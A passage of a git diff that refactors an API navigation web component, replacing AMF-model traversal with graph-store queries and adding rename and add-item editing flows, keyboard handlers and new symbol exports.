+  manualQuery: boolean;
+  /** 
+  * When set it enables graph items editing functionality.
+  * The user can double-click on a menu item and edit its name.
+  * @attribute
+  */
+  edit: boolean;
+
+  constructor();
 
   /**
-   * Computed list of "type" items in the API.
+   * Ensures aria role attribute is in place.
+   * Attaches element's listeners.
    */
-  [typesValue]: TypeItem[];
+  connectedCallback(): void;
+
+  disconnectedCallback(): void;
 
   /**
-   * Determines and changes state of types panel.
-   * @attribute
+   * Queries for the API data from the graph store.
    */
-  typesOpened: boolean;
+  queryGraph(): Promise<void>;
 
   /**
-   * Computed list of Security schemes items in the API.
+   * Queries for the current API base info.
    */
-  [securityValue]: SecurityItem[];
+  [queryApi](signal: AbortSignal): Promise<void>;
 
   /**
-   * Determines and changes state of security panel.
-   * @attribute
+   * Queries and sets endpoints data
    */
-  securityOpened: boolean;
+  [queryEndpoints](signal: AbortSignal): Promise<void>;
 
   /**
-   * Computed list of endpoint items in the API.
+   * Queries and sets documentations data
    */
-  [endpointsValue]: EndpointItem[];
+  [queryDocumentations](signal: AbortSignal): Promise<void>;
 
   /**
-   * Determines and changes state of endpoints panel.
-   * @attribute
+   * Queries and sets types (schemas) data
    */
-  endpointsOpened: boolean;
+  [querySchemas](signal: AbortSignal): Promise<void>;
 
   /**
-   * If true, the element will not produce a ripple effect when interacted with via the pointer.
-   * @attribute
+   * Queries and sets security data
    */
-  noink: boolean;
+  [querySecurity](signal: AbortSignal): Promise<void>;
+
+  [createFlatTreeItems](items: ApiEndPointWithOperationsListItem[]): EndpointItem[];
 
   /**
-   * Filters list elements by this value when set.
-   * Clear the value to reset the search.
-   *
-   * This is not currently exposed in element's UI due
-   * to complexity of search and performance.
-   * @attribute
+   * Filters the current endpoints by the current query value.
    */
-  query: string;
+  [getFilteredEndpoints](): EndpointItem[] | undefined;
 
   /**
-   * Size of endpoint indentation for nested resources.
-   * In pixels.
+   * Computes `style` attribute value for endpoint item.
+   * It sets padding-left property to indent resources.
+   * See https://github.com/mulesoft/api-console/issues/571.
    *
-   * The attribute name for this property is `indent-size`. Note, that this
-   * will change to web consistent name `indentSize` in the future.
-   * @attribute
+   * @param indent The computed indentation of the item.
+   * @returns The value for the left padding of the endpoint menu item.
    */
-  indentSize: number;
+  [computeEndpointPaddingValue](indent?: number): string;
 
   /**
-   * Flag set when passed AMF model is a RAML fragment.
+   * Computes endpoint list item left padding from CSS variables.
    */
-  [isFragmentValue]: boolean;
+  [computeEndpointPaddingLeft](): number
 
   /**
-   * When set it renders full path below endpoint name if the endpoint has
-   * a name (different than the path).
-   * This is not always recommended to use this option as some complex APIs
-   * may render this component difficult to understand.
-   * @attribute
+   * Computes `style` attribute value for an operation item.
+   * It sets padding-left property to indent operations relative to a resource.
+   *
+   * @param indent The computed indentation of the parent resource.
+   * @returns The value for the left padding of the endpoint menu item.
    */
-  allowPaths: boolean;
+  [computeOperationPaddingValue](indent?: number): string;
 
   /**
-   * If this value is set, then the navigation component will sort the list
-   * of endpoints based on the `path` value of the endpoint, keeping the order
-   * of which endpoint was first in the list, relative to each other
-   * @attribute
+   * Computes operation list item left padding from CSS variables.
    */
-  rearrangeEndpoints: boolean;
+  [computeOperationPaddingLeft](): number;
 
   /**
-   * Enables Anypoint platform styles.
-   * @attribute
+   * A handler for the click event on a menu list item.
+   * Makes a selection from the target.
    */
-  anypoint: boolean;
+  [itemClickHandler](e: MouseEvent): void;
 
   /**
-   * Determines and changes state of endpoints.
-   * @attribute
+   * A handler for the click event on endpoints toggle button.
    */
-  operationsOpened: boolean;
+  [endpointToggleClickHandler](e: MouseEvent): void;
 
   /**
-   * No overview as a separated element. Overview can be seen by clicking the endpoint label.
-   * @attribute
+   * Toggles operations visibility for an endpoint.
+   * @param graphId The Endpoint graph id.
    */
-  noOverview: boolean;
+  toggleEndpoint(graphId: string): void;
 
   /**
-   * When set, avoids truncating and indentation of endpoint paths.
-   * Instead, the full path for each endpoint will be rendered.
-   * @attribute
+   * A handler for the click event on a section item. Toggles the clicked section.
    */
-  renderFullPaths: boolean;
+  [toggleSectionClickHandler](e: MouseEvent): void;
 
   /**
-   * true when `[docsValue]` property is set with values
+   * Toggles a section of the menu represented by the element (section list item).
    */
-  get hasDocs(): boolean;
+  [toggleSectionElement](element: HTMLElement): void;
 
   /**
-   * true when `[typesValue]` property is set with values
+   * @returns List of documentation items filtered by the current query.
    */
-  get hasTypes(): boolean;
+  [getFilteredDocumentations](): DocumentationItem[];
 
   /**
-   * true when `[securityValue]` property is set with values
+   * @returns List of schemas items filtered by the current query.
    */
-  get hasSecurity(): boolean;
+  [getFilteredSchemas](): NodeShapeItem[];
 
   /**
-   * true when `[endpointsValue]` property is set with values
-   */
-  get hasEndpoints(): boolean;
-  /**
-   * True when summary should be rendered.
-   * Summary should be rendered only when `summary` is set and
-   * current model is not a RAML fragment.
+   * @returns List of security items filtered by the current query.
    */
-  get summaryRendered(): boolean;
+  [getFilteredSecurity](): SecurityItem[];
 
   /**
-   * The currently selected item.
+   * A handler for the focus event on this element.
    */
-  get selectedItem(): HTMLElement;
+  [focusHandler](e: FocusEvent): void;
+
   /**
-   * The currently focused item.
+   * Sets a list item focused
    */
-  get focusedItem(): HTMLElement;
+  [focusItem](item: HTMLElement): void;
 
   /**
-   * Ensures aria role attribute is in place.
-   * Attaches element's listeners.
+   * Handler for the keydown event.
    */
-  connectedCallback(): void;
-  disconnectedCallback(): void;
+  [keydownHandler](e: KeyboardEvent): void;
 
   /**
-   * Collects the information about the API and creates data model
-   * for the navigation element
+   * Handler that is called when the down key is pressed.
    *
-   * @returns Data model for the API navigation
+   * @param e A key combination event.
    */
-  [collectData](model: object): TargetModel;
+  [keyDownAction](e: KeyboardEvent): void;
 
   /**
-   * Collects the data from the security fragment
+   * Handler that is called when the up key is pressed.
    *
-   * @param model Security fragment model
+   * @param e A key combination event.
    */
-  [collectSecurityData](model: object): TargetModel|undefined;
+  [keyUpAction](e: KeyboardEvent): void;
 
   /**
-   * Collects the data from the documentation fragment
-   *
-   * @param model Documentation fragment model
+   * Handles shift+tab keypress on the menu.
    */
-  [collectDocumentationData](model: object): TargetModel|undefined;
+  [keyShiftTabAction](): void;
 
   /**
-   * Collects the data from the type fragment
-   *
-   * @param model Type fragment model
+   * Handler that is called when the esc key is pressed.
    */
-  [collectTypeData](model: object): TargetModel|undefined;
+  [keyEscAction](): void;
 
   /**
-   * Traverses the `http://raml.org/vocabularies/document#declares`
-   * node to find types and security schemes.
-   *
-   * @param target Target object where to put data.
+   * A handler for the space bar key down.
    */
-  [traverseDeclarations](model: object, target: TargetModel): void;
+  [keySpaceAction](e: KeyboardEvent): void;
 
   /**
-   * Traverses the `http://raml.org/vocabularies/document#references`
-   *
-   * @param model AMF model
-   * @param target Target object where to put data.
+   * A handler for the key right down. Opens operations when needed.
    */
-  [traverseReferences](model: object, target: TargetModel): void;
+  [keyArrowRightAction](e: KeyboardEvent): void;
 
   /**
-   * Traverses the `http://raml.org/vocabularies/document#encodes`
-   * node to find documentation and endpoints.
-   *
-   * @param target Target object where to put data.
+   * A handler for the key left down. Closes operations when needed.
    */
-  [traverseEncodes](model: object, target: TargetModel): void;
+  [keyArrowLeftAction](e: KeyboardEvent): void;
 
   /**
-   * Sort endpoints alphabetically based on path
+   * Focuses on the previous item in the navigation.
    */
-  [rearrangeEndpoints](endpoints: EndPoint[]): EndPoint[];
+  focusPrevious(): void;
 
   /**
-   * Appends declaration of navigation data model to the target if
-   * it matches documentation or security types.
+   * Focuses on the next item in the navigation.
    */
-  [appendModelItem](item: object, target: TargetModel): void;
+  focusNext(): void;
 
   /**
-   * Appends "type" item to the results.
-   *
-   * @param item Type item declaration
+   * Selects an item in the navigation.
+   * Note, this dispatches the navigation action event.
    */
-  [appendTypeItem](item: object, target: TargetModel): void;
+  select(id: string): void;
 
   /**
-   * Appends "security" item to the results.
-   *
-   * @param item Type item declaration
+   * Lists all HTML elements that are currently rendered in the view.
+   * @returns Currently rendered items.
    */
-  [appendSecurityItem](item: object, target: TargetModel): void;
+  [listActiveItems](): HTMLElement[];
 
   /**
-   * Appends "documentation" item to the results.
-   *
-   * @param item Type item declaration
+   * @param selector The prefix for the query selector
+   * @returns Nodes returned from query function.
    */
-  [appendDocumentationItem](item: object, target: TargetModel): void;
+  [listSectionActiveNodes](selector: string): HTMLElement[];
 
   /**
-   * Appends "endpoint" item to the results.
-   * This also iterates over methods to extract method data.
+   * Selects an item in the menu.
    *
-   * @param item Endpoint item declaration
+   * @param id The domain id of the node to be selected
+   * @param type The selected type of the item.
    */
-  [appendEndpointItem](item: object, target: TargetModel): void;
+  [makeSelection](id: string, type: string): void;
 
   /**
-   * Creates the view model for an operation.
-   *
-   * @param item Operation AMF model
-   * @returns Method view model
+   * Selects an item.
+   * @param id The domain id of the menu item.
+   * @param type The type of the data.
    */
-  [createOperationModel](item: object): MethodItem;
+  [selectItem](id: string, type: string): void;
 
   /**
-   * Click handler for section name item.
-   * Toggles the view.
+   * Removes all selections from an item.
+   * @param id The domain id of the menu item.
+   * @param type The type of the data.
    */
-  [toggleSectionHandler](e: MouseEvent): void;
-  [toggleSection](node: HTMLElement): void;
+  [deselectItem](id: string, type: string): void;
 
   /**
-   * Selects new item in the menu.
+   * Finds a selectable item by its id and type.
+   * @param id The domain id of the menu item.
+   * @param type The type of the data.
    */
-  [selectItem](node: HTMLElement): void;
+  [findSelectable](id: string, type: string): SelectableMenuItem | null;
 
   /**
-   * Toggles selection state of a node that has `data-api-id` set to
-   * `id`.
-   *
-   * @param id Selected node id.
-   * @returns Type of selected node.
+   * @param value The new query. Empty or null to clear the query
    */
-  [addSelection](id: string): string|undefined;
+  [processQuery](value: string): void;
 
   /**
-   * Removes any current selection that may exist.
+   * A handler for the search event from the filter input.
    */
-  [clearSelection](): void;
+  [searchHandler](e: Event): void;
 
   /**
-   * Toggles endpoint operations list.
-   *
-   * @param id ID of the endpoint.
+   * Opens all sections of the menu and all endpoints.
    */
-  toggleOperations(id: string): void;
+  expandAll(): void;
 
   /**
-   * Updates the state of selected element when `domainId` changes.
-   *
-   * @param current New selection
+   * Closes all sections of the menu and all endpoints.
    */
-  [selectedChanged](current: string): void;
+  collapseAll(): void;
 
   /**
-   * When `query` property change it runs the filter function
-   * in a debouncer set for ~50 ms.
+   * Opens all endpoints exposing all operations
    */
-  [queryChanged](): void;
+  expandAllEndpoints(): void;
 
   /**
-   * Calls `render()` function on each data repeater that have filterable
-   * items.
-   * It set's `__effectiveQuery` property on the element that is beyond
-   * Polymer's data binding system so it skips 2 function calls each time
-   * it is read. In a repeater filter function that can be a lot.
-   *
-   * Also the `__effectiveQuery` is transformed to perform text search.
+   * Hides all operations and collapses all endpoints.
    */
-  [flushQuery](): void;
+  collapseAllEndpoints(): void;
 
   /**
-   * Dispatches the navigation event on selection change.
-   *
-   * @param selected Selected id
-   * @param selectedType Type of AMF shape
+   * Triggers a flow when the user can define a new endpoint in the navigation.
+   * This renders an input in the view (in the endpoints list) where the user can enter the path name.
    */
-  [selectionChanged](selected: string, selectedType: string): void;
+  addEndpoint(): Promise<void>;
 
   /**
-   * Navigation item click handler.
-   * It used to be common function for all clicks inside the element
-   * but in tests not all events were handled.
+   * Triggers a flow when the user can define a new documentation document.
+   * This renders an input in the view (in the documentation list) where the user can enter the name.
+   * @param isExternal Whether the documentation is a link to a www document.
    */
-  [itemClickHandler](e: MouseEvent): void;
-
+  addDocumentation(isExternal?: boolean): Promise<void>;
   /**
-   * Handler for the navigation event. Updates the selection
-   * if dispatched from other element.
+   * Triggers a flow when the user can define a new schema in the navigation.
+   * This renders an input in the view (in the schema list) where the user can enter the schema name.
+   * @param type The type of the schema to add. Default to `object`.
    */
-  [navigationHandler](e: CustomEvent): void;
-  [handlePassiveNavigation](detail: object): void;
-  [cleanPassiveSelection](): void;
-  [selectMethodPassive](id: string): void;
-
+  addSchema(type?: SchemaAddType): Promise<void>;
   /**
-   * Endpoint label click handler.
-   * Toggles endpoint's methods list.
+   * Resets all tabindex attributes to the appropriate value based on the
+   * current selection state. The appropriate value is `0` (focusable) for
+   * the default selected item, and `-1` (not keyboard focusable) for all
+   * other items. Also sets the correct initial values for aria-selected
+   * attribute, true for default selected item and false for others.
    */
-  [toggleEndpoint](e: MouseEvent): void;
+  [resetTabindices](): void;
 
   /**
-   * Computes `style` attribute value for endpoint item.
-   * It sets padding-left property to indent resources.
-   * See https://github.com/mulesoft/api-console/issues/571.
-   *
-   * @param factor Computed indent factor for the resource
-   * @param size The size of indentation in pixels.
-   * @returns Style attribute value for the item.
+   * Dispatches the navigation event.
+   * @param id The domain id of the selected node
+   * @param type The domain type.
    */
-  [computeEndpointPadding](factor: Number, size: Number): String;
-  [computeMethodPadding](factor: Number, size: Number): string;
+  [notifyNavigation](id: string, type: string): void;
 
   /**
-   * Computes operation list item left padding from CSS variables.
+   * Event handler for the keydown event of the add endpoint input.
    */
-  [computeOperationPaddingLeft](): Number;
+  [addEndpointKeydownHandler](e: KeyboardEvent): void;
 
   /**
-   * Computes endpoint list item left padding from CSS variables.
+   * Event handler for the keydown event of the add documentation input.
    */
-  [computeEndpointPaddingLeft](): Number;
-
+  [addDocumentationKeydownHandler](e: KeyboardEvent): void;
   /**
-   * Returns filtered list of items to render in the menu list.
-   * When `query` is set it tests `label` property of each item if it contains
-   * the query. Otherwise it returns all items.
-   *
-   * @param prop Name of the source property keeping array values to render.
+   * Event handler for the keydown event of the add schema input.
    */
-  [getFilteredType](prop: NavigationItem[]): NavigationItem[]|undefined;
-
+  [addSchemaKeydownHandler](e: KeyboardEvent): void;
+  [commitNewEndpoint](): Promise<void>;
+  [cancelNewEndpoint](): Promise<void>;
   /**
-   * Returns a list of endpoints to render.
-   * When `query` is set it returns filtered list of endpoints for given query.
-   * Otherwise it returns all endpoints.
-   *
-   * @returns Filtered list of endpoints
+   * @param value The title of the documentation.
    */
-  [getFilteredEndpoints](): EndpointItem[]|undefined;
+  [commitNewDocumentation](value?: string): Promise<void>;
+  /**
+   * @param value The name of the schema.
+   */
+  [commitNewSchema](value?: string): Promise<void>;
 
   /**
-   * Closes all `iron-collapse` elements
+   * Triggers a rename action for the menu item identified by the `id`.
+   * @param id The domain id of the item to edit.
    */
-  [closeCollapses](): void;
+  renameAction(id: string): Promise<void>;
 
   /**
-   * A handler for the focus event on this element.
+   * @param {string} id The domain id of the item to find.
    */
-  [focusHandler](e: FocusEvent): void;
+  [findViewModelItem](id: string): SelectableMenuItem & EditableMenuItem | null;
 
   /**
-   * Focuses on the previous item in the navigation.
+   * A key down event handler on the rename input
    */
-  focusPrevious(): void;
+  [renameKeydownHandler](e: KeyboardEvent): Promise<void>;
 
   /**
-   * Focuses on the next item in the navigation.
+   * A blur event handler on the rename input
    */
-  focusNext(): void;
+  [renameBlurHandler](e: Event): Promise<void>;
 
   /**
-   * Resets all tabindex attributes to the appropriate value based on the
-   * current selection state. The appropriate value is `0` (focusable) for
-   * the default selected item, and `-1` (not keyboard focusable) for all
-   * other items. Also sets the correct initial values for aria-selected
-   * attribute, true for default selected item and false for others.
+   * Updates the name or the display name of the menu object
+   * @param id The id of the domain object to update
+   * @param value The new value.
+   * @param type The object type
+   * @returns A promise when the update operation finish.
    */
-  [resetTabindices](): void;
+  [updateNameHandler](id: string, value: string, type: EditableMenuType): Promise<void>;
 
   /**
-   * Lists all HTML elements that are currently rendered in the view.
-   * @returns Currently rendered items.
+   * Click handler for the external navigation item.
+   * Dispatches the external navigation event. When this event is handled (cancelled)
+   * the original event is cancelled to prevent default behavior.
    */
-  [listActiveItems](): Element[];
+  [externalDocumentationHandler](e: Event): void;
+
+  render(): TemplateResult;
 
   /**
-   * @param selector The prefix for the query selector
-   * @returns Nodes returned from query function.
+   * @returns The template for the summary filed.
    */
-  [listSectionActiveNodes](selector: string): Element[];
+  [summaryTemplate](): TemplateResult | string;
 
   /**
-   * Handler for the keydown event.
+   * @returns The template for the list of endpoints.
    */
-  [keydownHandler](e: KeyboardEvent): void;
+  [endpointsTemplate](): TemplateResult | string;
 
   /**
-   * Handler that is called when the up key is pressed.
-   *
-   * @param e A key combination event.
+   * @returns The template for an endpoint.
    */
-  [onUpKey](e: KeyboardEvent): void;
+  [endpointTemplate](item: EndpointItem): TemplateResult;
 
   /**
-   * Handler that is called when the down key is pressed.
-   *
-   * @param e A key combination event.
+   * @param id The domain id of the endpoint.
+   * @returns The template for endpoint's toggle button.
    */
-  [onDownKey](e: KeyboardEvent): void;
+  [endpointToggleTemplate](id: string): TemplateResult;
 
   /**
-   * Handler that is called when the esc key is pressed.
+   * @param item The endpoint definition 
+   * @param op The operation definition.
+   * @returns The template for an operation list item.
    */
-  [onEscKey](): void;
+  [operationItemTemplate](item: EndpointItem, op: OperationItem): TemplateResult;
 
   /**
-   * A handler for the space bar key down.
+   * @returns The template for the documentations section.
    */
-  [onSpace](e: KeyboardEvent): void;
+  [documentationsTemplate](): TemplateResult | string;
 
   /**
-   * Handler that is called when a shift+tab keypress is detected by the menu.
+   * @returns The template for the documentation list item.
    */
-  [onShiftTabDown](): void;
+  [documentationTemplate](item: DocumentationItem): TemplateResult;
 
   /**
-   * Renders a template for endpoints and methods list.
+   * @returns The template for the external documentation list item.
    */
-  [endpointsTemplate](): TemplateResult|string;
-  [endpointTemplate](item: EndpointItem): TemplateResult;
-  [methodTemplate](endpointItem: EndpointItem, methodItem: MethodItem): TemplateResult;
+  [externalDocumentationTemplate](item: DocumentationItem): TemplateResult;
 
   /**
-   * Renders a template for documentation list.
+   * @returns The template for the types (schemas) section.
    */
-  [documentationTemplate](): TemplateResult|string;
+  [schemasTemplate](): TemplateResult | string;
 
   /**
-   * @returns Template for an docs item
+   * @returns The template for the documentation list item.
    */
-  [documentationItemTemplate](item: DocumentationItem): TemplateResult;
+  [schemaTemplate](item: NodeShapeItem): TemplateResult;
 
   /**
-   * Renders a template for types list.
+   * @returns The template for the security section.
    */
-  [typesTemplate](): TemplateResult|string;
+  [securitiesTemplate](): TemplateResult | string;
 
   /**
-   * Renders a template for security schemes list.
+   * @returns The template for the security list item.
    */
-  [securityTemplate](): TemplateResult|string;
-  render(): TemplateResult;
+  [securityTemplate](item: SecurityItem): TemplateResult;
+  /**
+   * @returns The template for the filter input.
+   */
+  [filterTemplate](): TemplateResult | string;
+  /**
+   * @return The template for the new endpoint input.
+   */
+  [addEndpointInputTemplate](): TemplateResult;
+  /**
+   * @return The template for the new documentation input.
+   */
+  [addDocumentationInputTemplate](): TemplateResult;
+  /**
+   * @return The template for the new schema input.
+   */
+  [addSchemaInputTemplate](): TemplateResult;
+  /**
+   * @param id The domain id of the item being edited
+   * @param label The current name to render.
+   * @param type
+   * @returns The template for the rename input. 
+   */
+  [renameInputTemplate](id: string, label: string, type: EditableMenuType): TemplateResult;
 }
diff --git a/src/elements/ApiNavigationElement.js b/src/elements/ApiNavigationElement.js
index ba20649..9f2629a 100644
--- a/src/elements/ApiNavigationElement.js
+++ b/src/elements/ApiNavigationElement.js
@@ -1,400 +1,191 @@
 /* eslint-disable lit-a11y/click-events-have-key-events */
+/* eslint-disable no-continue */
+/* eslint-disable no-plusplus */
+/* eslint-disable prefer-destructuring */
+/* eslint-disable class-methods-use-this */
 import { LitElement, html } from 'lit-element';
+import { EventsTargetMixin } from '@anypoint-web-components/awc';
+import { styleMap } from 'lit-html/directives/style-map.js';
+import { classMap } from 'lit-html/directives/class-map.js';
+import { HttpStyles } from '@advanced-rest-client/app';
 import '@anypoint-web-components/awc/anypoint-icon-button.js';
 import '@anypoint-web-components/awc/anypoint-collapse.js';
-import { keyboardArrowDown, openInNew, } from '@advanced-rest-client/icons/ArcIcons.js';
-import { HttpStyles } from '@advanced-rest-client/app';
-import { AmfHelperMixin } from '../helpers/AmfHelperMixin.js';
-import navStyles from './styles/Navigation.js';
-import { EventTypes } from '../events/EventTypes.js'
-import { NavigationEvents } from '../events/NavigationEvents.js';
-
-/* eslint-disable no-plusplus */
-/* eslint-disable no-continue */
-/* eslint-disable max-len */
-/* eslint-disable no-param-reassign */
-/* eslint-disable class-methods-use-this */
-/* eslint-disable prefer-destructuring */
-/* eslint-disable consistent-return */
-
+import '@advanced-rest-client/icons/arc-icon.js';
+import navStyles from './styles/NavStyles.js';
+import { ns } from '../helpers/Namespace.js';
+import { ApiSorting } from '../lib/ApiSorting.js';
+import { EndpointsTree } from '../lib/EndpointsTree.js';
+import { EventTypes } from '../events/EventTypes.js';
+import { Events } from '../events/Events.js';
+import { cancelEvent } from '../lib/Utils.js'
+
+/** @typedef {import('lit-html').TemplateResult} TemplateResult */
 /** @typedef {import('@anypoint-web-components/awc').AnypointCollapseElement} AnypointCollapseElement */
-/** @typedef {import('lit-element').TemplateResult} TemplateResult */
-/** @typedef {import('../types').MethodItem} MethodItem */
+/** @typedef {import('../helpers/api').ApiEndPoint} ApiEndPoint */
+/** @typedef {import('../helpers/api').ApiOperation} ApiOperation */
+/** @typedef {import('../helpers/api').ApiDocumentation} ApiDocumentation */
+/** @typedef {import('../helpers/api').ApiNodeShape} ApiNodeShape */
+/** @typedef {import('../helpers/api').ApiCustomDomainProperty} ApiCustomDomainProperty */
+/** @typedef {import('../types').ApiEndPointWithOperationsListItem} ApiEndPointWithOperationsListItem */
 /** @typedef {import('../types').EndpointItem} EndpointItem */
-/** @typedef {import('../types').SecurityItem} SecurityItem */
-/** @typedef {import('../types').TypeItem} TypeItem */
+/** @typedef {import('../types').OperationItem} OperationItem */
 /** @typedef {import('../types').DocumentationItem} DocumentationItem */
-/** @typedef {import('../types').TargetModel} TargetModel */
-/** @typedef {import('../types').NavigationItem} NavigationItem */
+/** @typedef {import('../types').NodeShapeItem} NodeShapeItem */
+/** @typedef {import('../types').SecurityItem} SecurityItem */
+/** @typedef {import('../types').SelectableMenuItem} SelectableMenuItem */
+/** @typedef {import('../types').EditableMenuItem} EditableMenuItem */
+/** @typedef {import('../types').SchemaAddType} SchemaAddType */
 /** @typedef {import('../types').SelectionType} SelectionType */
-/** @typedef {import('../helpers/amf').EndPoint} EndPoint */
-/** @typedef {import('../helpers/amf').AmfDocument} AmfDocument */
-/** @typedef {import('../events/NavigationEvents').ApiNavigationEvent} ApiNavigationEvent */
-/** @typedef {import('../events/NavigationEvents').ApiNavigationEventDetail} ApiNavigationEventDetail */
+/** @typedef {import('../types').DocumentMeta} DocumentMeta */
 
-export const openedOperationsValue = Symbol('openedOperationsValue');
-export const collectData = Symbol('collectData');
-export const queryValue = Symbol('queryValue');
-export const queryDebouncer = Symbol('queryDebouncer');
-export const hasPassiveSelection = Symbol('hasPassiveSelection');
-export const getFilteredType = Symbol('getFilteredType');
-export const docsValue = Symbol('docsValue');
-export const typesValue = Symbol('typesValue');
+export const queryingValue = Symbol('queryingValue');
+export const abortControllerValue = Symbol('abortControllerValue');
+export const selectedValue = Symbol('selectedValue');
+export const documentationsValue = Symbol('documentationsValue');
+export const schemasValue = Symbol('schemasValue');
 export const securityValue = Symbol('securityValue');
 export const endpointsValue = Symbol('endpointsValue');
+export const queryValue = Symbol('queryValue');
+export const openedEndpointsValue = Symbol('openedEndpointsValue');
+export const queryApi = Symbol('queryApi');
+export const queryEndpoints = Symbol('queryEndpoints');
+export const queryDocumentations = Symbol('queryDocumentations');
+export const querySchemas = Symbol('querySchemas');
+export const querySecurity = Symbol('querySecurity');
+export const createFlatTreeItems = Symbol('createFlatTreeItems');
+export const getFilteredEndpoints = Symbol('getFilteredEndpoints');
+export const getFilteredDocumentations = Symbol('getFilteredDocumentations');
+export const getFilteredSchemas = Symbol('getFilteredSchemas');
+export const getFilteredSecurity = Symbol('getFilteredSecurity');
+export const computeEndpointPaddingValue = Symbol('computeEndpointPadding');
+export const computeEndpointPaddingLeft = Symbol('computeEndpointPaddingLeft');
+export const computeOperationPaddingValue = Symbol('computeOperationPaddingValue');
+export const computeOperationPaddingLeft = Symbol('computeOperationPaddingLeft');
+export const itemClickHandler = Symbol('itemClickHandler');
+export const toggleSectionClickHandler = Symbol('toggleSectionClickHandler');
+export const toggleSectionKeydownHandler = Symbol('toggleSectionKeydownHandler');
+export const endpointToggleClickHandler = Symbol('endpointToggleClickHandler');
+export const focusHandler = Symbol('focusHandler');
+export const keydownHandler = Symbol('keydownHandler');
+export const summaryTemplate = Symbol('summaryTemplate');
 export const endpointsTemplate = Symbol('endpointsTemplate');
+export const endpointTemplate = Symbol('endpointTemplate');
+export const endpointToggleTemplate = Symbol('endpointToggleTemplate');
+export const operationItemTemplate = Symbol('operationItemTemplate');
+export const documentationsTemplate = Symbol('documentationsTemplate');
 export const documentationTemplate = Symbol('documentationTemplate');
-export const typesTemplate = Symbol('typesTemplate');
+export const externalDocumentationTemplate = Symbol('externalDocumentationTemplate');
+export const schemasTemplate = Symbol('schemasTemplate');
+export const schemaTemplate = Symbol('schemaTemplate');
+export const securitiesTemplate = Symbol('securitiesTemplate');
 export const securityTemplate = Symbol('securityTemplate');
-export const overviewTemplate = Symbol('overviewTemplate');
-export const endpointPathTemplate = Symbol('endpointPathTemplate');
-export const endpointTemplate = Symbol('endpointTemplate');
-export const methodTemplate = Symbol('methodTemplate');
-export const documentationItemTemplate = Symbol('documentationItemTemplate');
-export const isFragmentValue = Symbol('isFragmentValue');
-export const selectedItemValue = Symbol('selectedItemValue');
-export const updatedOpenedOperations = Symbol('updatedOpenedOperations');
-export const domainIdValue = Symbol('domainIdValue');
-export const domainTypeValue = Symbol('domainTypeValue');
-export const selectedChanged = Symbol('selectedChanged');
-export const selectionChanged = Symbol('selectionChanged');
-export const operationsOpened = Symbol('operationsOpened');
-export const addOpenedOperations = Symbol('addOpenedOperations');
-export const shiftTabPressed = Symbol('shiftTabPressed');
-export const focusedItemPrivate = Symbol('focusedItemPrivate');
+export const keyDownAction = Symbol('keyDownAction');
+export const keyUpAction = Symbol('keyUpAction');
+export const keyShiftTabAction = Symbol('keyShiftTabAction');
+export const keyEscAction = Symbol('keyEscAction');
+export const keySpaceAction = Symbol('keySpaceAction');
+export const shiftTabPressedValue = Symbol('shiftTabPressedValue');
 export const focusedItemValue = Symbol('focusedItemValue');
-export const summaryTemplate = Symbol('summaryTemplate');
-export const itemClickHandler = Symbol('itemClickHandler');
-export const queryChanged = Symbol('queryChanged');
-export const flushQuery = Symbol('flushQuery');
-export const queryValue2 = Symbol('queryValue2');
-export const noOverviewValue = Symbol('noOverviewValue');
-export const rearrangeEndpointsValue = Symbol('rearrangeEndpointsValue');
-export const renderFullPathsValue = Symbol('renderFullPathsValue');
-export const itemsValue = Symbol('itemsValue');
-export const resetTabindices = Symbol('resetTabindices');
-export const navigationHandler = Symbol('navigationHandler');
-export const focusHandler = Symbol('focusHandler');
-export const keydownHandler = Symbol('keydownHandler');
-export const collectSecurityData = Symbol('collectSecurityData');
-export const collectDocumentationData = Symbol('collectDocumentationData');
-export const collectTypeData = Symbol('collectTypeData');
-export const traverseDeclarations = Symbol('traverseDeclarations');
-export const traverseReferences = Symbol('traverseReferences');
-export const traverseEncodes = Symbol('traverseEncodes');
-export const rearrangeEndpoints = Symbol('rearrangeEndpoints');
-export const closeCollapses = Symbol('closeCollapses');
-export const appendSecurityItem = Symbol('appendSecurityItem');
-export const appendTypeItem = Symbol('appendTypeItem');
-export const validUrl = Symbol('validUrl');
-export const appendDocumentationItem = Symbol('appendDocumentationItem');
-export const appendEndpointItem = Symbol('appendEndpointItem');
-export const appendModelItem = Symbol('appendModelItem');
-export const createOperationModel = Symbol('createOperationModel');
-export const toggleSectionHandler = Symbol('toggleSectionHandler');
-export const toggleSection = Symbol('toggleSection');
-export const selectItem = Symbol('selectItem');
-export const addSelection = Symbol('addSelection');
-export const clearSelection = Symbol('clearSelection');
-export const cleanPassiveSelection = Symbol('cleanPassiveSelection');
-export const handlePassiveNavigation = Symbol('handlePassiveNavigation');
-export const selectMethodPassive = Symbol('selectMethodPassive');
-export const toggleEndpoint = Symbol('toggleEndpoint');
-export const toggleEndpointDocumentation = Symbol('toggleEndpointDocumentation');
-export const toggleEndpointButton = Symbol('toggleEndpointButton');
-export const computeEndpointPadding = Symbol('computeEndpointPadding');
-export const computeEndpointPaddingLeft = Symbol('computeEndpointPaddingLeft');
-export const computeMethodPadding = Symbol('computeMethodPadding');
-export const computeOperationPaddingLeft = Symbol('computeOperationPaddingLeft');
-export const getFilteredEndpoints = Symbol('getFilteredEndpoints');
+export const selectedItemValue = Symbol('selectedItemValue');
+export const focusItem = Symbol('focusItem');
 export const listActiveItems = Symbol('listActiveItems');
+export const itemsValue = Symbol('itemsValue');
 export const listSectionActiveNodes = Symbol('listSectionActiveNodes');
-export const onUpKey = Symbol('onUpKey');
-export const onDownKey = Symbol('onDownKey');
-export const onEscKey = Symbol('onEscKey');
-export const onSpace = Symbol('onSpace');
-export const onShiftTabDown = Symbol('onShiftTabDown');
-
-/**
- * Maps authorization scheme name to a label
- * @param {string} name
- * @return {string}
- */
-function mapAuthName(name) {
-  switch (name) {
-    case 'http':
-      return 'HTTP';
-    case 'openIdConnect':
-      return 'OpenID Connect';
-    default:
-      return name;
-  }
-}
-
-/**
- * Discretely updates tabindex values among menu items as the focused item
- * changes.
- *
- * @param {HTMLElement} focusedItem The element that is currently focused.
- * @param {HTMLElement=} old The last element that was considered focused, if
- * applicable.
- */
-function focusedItemChanged(focusedItem, old) {
-  if (old) {
-    old.setAttribute('tabindex', '-1');
-  }
-  if (focusedItem && !focusedItem.hasAttribute('disabled')) {
-    focusedItem.setAttribute('tabindex', '0');
-    focusedItem.focus();
-  }
-}
-
-/**
- * Computes label for an endpoint when name is missing and the endpoint
- * is indented, hence name should be truncated.
- * @param {string} currentPath Endpoint's path
- * @param {string[]} parts Path parts
- * @param {number} indent Endpoint indentation
- * @param {string[]} basePaths List of base paths already used.
